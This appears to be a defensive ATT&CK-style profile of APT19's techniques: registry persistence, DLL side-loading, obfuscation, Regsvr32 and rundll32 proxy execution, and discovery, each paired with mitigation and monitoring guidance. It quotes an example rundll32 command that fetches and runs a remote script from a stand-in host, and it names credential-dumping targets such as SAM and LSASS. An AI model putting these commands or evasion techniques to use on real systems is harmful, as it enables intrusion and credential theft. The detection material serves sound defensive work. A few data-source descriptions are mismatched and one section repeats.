By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including the startup folders.
Windows Registry: Windows Registry Key Creation
Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Monitor for newly created windows registry keys that may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations.
APT19 launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL.
Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.
Application Developer Guidance
When possible, include hash values in manifest files to help prevent side-loading of malicious libraries.
Update Software
Update software regularly to include patches that fix DLL side-loading vulnerabilities.
Monitoring the following activities in your Organization can help you detect this technique.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Monitor for newly constructed files in common folders on the computer system.
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor for changes made to files for unexpected modifications to access permissions and attributes
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor newly constructed processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs.
APT19 used Base64 to obfuscate commands and the payload.
Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. Adversaries may also used compressed or archived scripts, such as JavaScript.
Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.
Adversaries may also obfuscate commands executed from payloads or directly via a Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.
Antivirus/Antimalware
Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 to analyze commands after being processed/interpreted.
Behavior Prevention on Endpoint
On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent execution of potentially obfuscated scripts.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Deobfuscation tools can be used to detect these indicators in files/payloads.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).
File: File Metadata
Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.
Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes that may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.
APT19 uses a Port 22 malware variant to modify several Registry keys.
Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.
Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.
The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication.
Restrict Registry Permissions
Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments for actions that could be taken to change, conceal, and/or delete information in the Registry. The Registry may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls associated with concealing Registry keys, such as Reghide. Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns and RegDelNull
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor processes and command-line arguments for actions that could be taken to change, conceal, and/or delete information in the Registry. (i.e. reg.exe, regedit.exe)
Windows Registry: Windows Registry Key Creation
Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Monitor for newly constructed registry keys or values to aid in persistence and execution.
Windows Registry: Windows Registry Key Deletion
Removal of a Registry Key (ex: Windows EID 4658 or Sysmon EID 12)
Monitor for unexpected deletion of windows registry keys to hide configuration information, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
Monitor for changes made to windows registry keys or values. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.
An APT19 HTTP malware variant decrypts strings using single-byte XOR keys.
Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
One such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload.
Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor for changes made to files for unexpected modifications that attempt to hide artifacts.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes that attempt to hide artifacts of an intrusion, such as common archive file applications and extensions (ex: Zip and RAR archive tools), and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.
Script: Script Execution
Launching a list of commands through a script file (ex: Windows EID 4104)
Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
APT19 used Regsvr32 to bypass application control techniques.
Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments.
Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking.
Exploit Protection
Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass application control. Identify and block potentially malicious software executed through regsvr32 functionality by using application control tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded.
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Network Traffic: Network Connection Creation
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for newly constructed network connections that are sent or received by untrusted hosts.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.
APT19 configured its payload to inject into the rundll32.exe.
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.
Exploit Protection
Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.
File: File Metadata
Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.
Analyze contextual data about executed DLL files, which may include information such as name, the content (ex: signature, headers, or data/media), age, user/ower, permissions, etc.
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.
APT19 used -W Hidden to conceal PowerShell windows by setting the WindowStyle parameter to hidden.
Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.
On Windows, there are a variety of features in scripting languages in Windows, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.
Similarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.
Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.
Execution Prevention
Limit or restrict program execution using anti-virus software. On MacOS, allowlist programs that are allowed to have the plist tag. All other programs should be considered suspicious.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may use hidden windows to conceal malicious activity from the plain sight of users. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style.
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor for changes made to files that may use hidden windows to conceal malicious activity from the plain sight of users. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor newly executed processes that may use hidden windows to conceal malicious activity from the plain sight of users.
Script: Script Execution
Launching a list of commands through a script file (ex: Windows EID 4104)
Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
APT19 launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL.
Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.
Application Developer Guidance
When possible, include hash values in manifest files to help prevent side-loading of malicious libraries.
Update Software
Update software regularly to include patches that fix DLL side-loading vulnerabilities.
Monitoring the following activities in your Organization can help you detect this technique.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Monitor for newly constructed files in common folders on the computer system.
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor for changes made to files for unexpected modifications to access permissions and attributes
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor newly constructed processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs.
APT19 used an HTTP malware variant and a Port 22 malware variant to collect the MAC address and IP address from the victim’s machine.
Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.
Adversaries may also leverage a Network Device CLI on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes.
Adversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls (such as GetAdaptersInfo() and GetIpNetTable()) that may gather details about the network configuration and settings, such as IP and/or MAC addresses.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for executed processes (such as ipconfig/ifconfig and arp) with arguments that may look for details about the network configuration and settings, such as IP and/or MAC addresses.
Script: Script Execution
Launching a list of commands through a script file (ex: Windows EID 4104)
Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
APT19 used an HTTP malware variant and a Port 22 malware variant to collect the victim’s username.
Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Active Directory: Active Directory Object Access
Opening of an active directory object, typically to collect/read its value (ex: Windows EID 4661)
Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. Note: Domain controllers may not log replication requests originating from the default domain controller account. Monitor for replication requests from IPs not associated with known domain controllers.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Look for command-lines that invoke AuditD or the Security Accounts Manager (SAM). Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
File: File Access
Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
Monitor for hash dumpers opening the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM). Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well.
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.
Process: Process Access
Opening of a process by another process, typically to read memory of the target process (ex: Sysmon EID 10)
Monitor for unexpected processes interacting with lsass.exe. Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.
Linux
To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/<pid>/maps, where the <pid> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes that may be indicative of credential dumping. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
Windows Registry: Windows Registry Key Access
Opening a Registry Key, typically to read the associated value (ex: Windows EID 4656)
Monitor for the SAM registry key being accessed that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.
APT19 collected system architecture information. APT19 used an HTTP malware variant and a Port 22 malware variant to gather the hostname and CPU information from the victim’s machine.
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a Network Device CLI on network devices to gather detailed system information. System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.
Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor newly executed processes that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.
APT19 used HTTP for C2 communications. APT19 also used an HTTP malware variant to communicate over HTTP for C2.
Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Protocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.
Network Intrusion Prevention
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.
Monitoring the following activities in your Organization can help you detect this technique.
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Monitor for web traffic to/from known-bad or suspicious domains and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).
An APT19 HTTP malware variant used Base64 to encode communications to the C2 server.
+Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME. Some data encoding systems may also result in data compression, such as gzip.
Network Intrusion Prevention
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.
Monitoring the following activities in your Organization can help you detect this technique.
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Monitor for network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.
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